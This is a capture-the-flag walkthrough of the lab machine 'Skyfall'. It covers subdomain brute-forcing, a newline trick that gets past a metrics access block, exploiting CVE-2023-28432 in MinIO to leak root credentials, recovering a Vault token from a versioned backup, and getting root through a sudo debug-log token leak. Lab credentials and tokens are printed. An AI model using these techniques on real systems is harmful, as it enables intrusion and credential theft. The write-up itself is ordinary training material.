Information Gathering
Rustscan finds SSH and HTTP open:
rustscan --addresses 10.10.11.254 --range 1-65535
Nmap scan doesn’t find anything extra:
sudo nmap -sVC -p 80 10.10.11.254
Enumeration
HTTP - TCP 80
The website is just a normal company introduction site:
Scrolling down a little, there’s employee names and the domain name skyfall.htb:
Let’s add it to /etc/hosts.
Now that we know the domain name of the target, let’s try bruteforcing subdomains:
sudo gobuster vhost --append-domain -u http://skyfall.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
demo.skyfall.htb is found.
demo.skyfall.htb
After adding demo.skyfall.htb to /etc/hosts, we can access the website:
There’s a login portal, and the demo login credentials (guest:guest) is written on it.
Using the demo login credentials, we can login:
At the menu bar on the left, there is MinioMetrics.
MinIO metrics are data points that provide insights into the performance, usage, and health of a MinIO deployment. MinIO is an open-source object storage server compatible with Amazon S3, and it includes built-in metrics that help administrators monitor and manage the system effectively.
Let’s try accessing it:
Unfortunately, we are not allowed in.
After spending some time, we are able to bypass it by adding %0a at the end of the url.
/metrics page shows MinIO Internal Metrics:
Scrolling down, we come across the MinIO endpoint:
Let’s add prd23-s3-backend.skyfall.htb to /etc/hosts.
prd23-s3-backend.skyfall.htb
Accessing prd23-s3-backend.skyfall.htb, it shows Access Denied message:
Shell as askyy
CVE-2023-28432
Researching on exploits regarding MinIO metrics, it seems like we’d be able to exploit CVE-2023-28432:
Let’s follow this exploit.
Taking a look at the exploit, it seems like it is sending post request to /minio/bootstrap/v1/verfiy:
Let’s build a Burp Suite request as such:
POST /minio/bootstrap/v1/verify
We have now obtained MinIO credentials:
MINIO_ROOT_USER:5GrE1B2YGGyZzNHZaIww
MINIO_ROOT_PASSWORD:GkpjkmiVmpFuL2d3oRx0
MinIO Client
mc is a command-line client for MinIO, an open-source object storage server compatible with Amazon S3 cloud storage service.
Using this tutorial, let’s down load mc:
We first set the alias and credentials for the remote MinIO as such:
mc alias set myminio http://prd23-s3-backend.skyfall.htb 5GrE1B2YGGyZzNHZaIww GkpjkmiVmpFuL2d3oRx0
We can list the top-level buckets (directories) in myminio:
mc ls myminio
Let’s take a look at files inside of it as well:
mc ls --recursive --versions myminio
home_backup.tar.gz must be interesting.
After spending some time enumerating, we discovered that v2 contains interesting information:
mc cp --vid 2b75346d-2a47-4203-ab09-3c9f878466b8 myminio/askyy/home_backup.tar.gz ~/Documents/htb/skyfall/home_backup.tar.gz
Vault
Unzipping the file, we see bunch of juicy files:
sudo tar xzvf home_backup.tar.gz
On .bashrc, we can see VALUT_TOKEN and VALUT_API_ADDR:
Let’s first add prd23-vault-internal.skyfall.htb to /etc/hosts.
Researching a bit on what we can do with this information, it seems like we would be able to SSH-in using VAULT_TOKEN.
Let’s download vault tool for interaction:
wget https://releases.hashicorp.com/vault/1.15.5/vault_1.15.5_linux_amd64.zip
Now, we set the VAULT_ADDR and VAULT_TOKEN alias as such:
export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb"
export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"
Now we can interact with the remote vault:
./vault login
Let’s first check the capabilities (permissions) of the current Vault token for the specified path (ssh/roles in this case):
./vault token capabilities ssh/roles
We can also list the available SSH roles configured in the Vault server:
./vault list ssh/roles
Now we can establish an SSH connection using a one-time password (OTP) generated by Vault:
./vault ssh -role dev_otp_key_role -mode OTP -strict-host-key-checking=no askyy@10.10.11.254
We have shell as askyy.
Privesc: askyy to root
Sudoers
Let’s first check what commands can be ran with sudo privilege:
sudo -l
command sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml, can be ran as sudo with no password.
Let’s run the command and see what happens:
sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd
We can see that debug.log file is created:
However, we can’t view the log file since it belong to the root:
After removing and recreating the file as askyy, we should be able to view the log file.
After running the command sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd again, we see that debug.log file can be viewed and it contains new VAULT_TOKEN for the root.
SSH as root
After exiting out from the SSH sessions, let’s export VAULT_TOKEN and VAULT_ADDR for the root:
Now we have SSH shell as the root:
./vault ssh -role admin_otp_key_role -mode OTP -strict-host-key-checking=no root@10.10.11.254
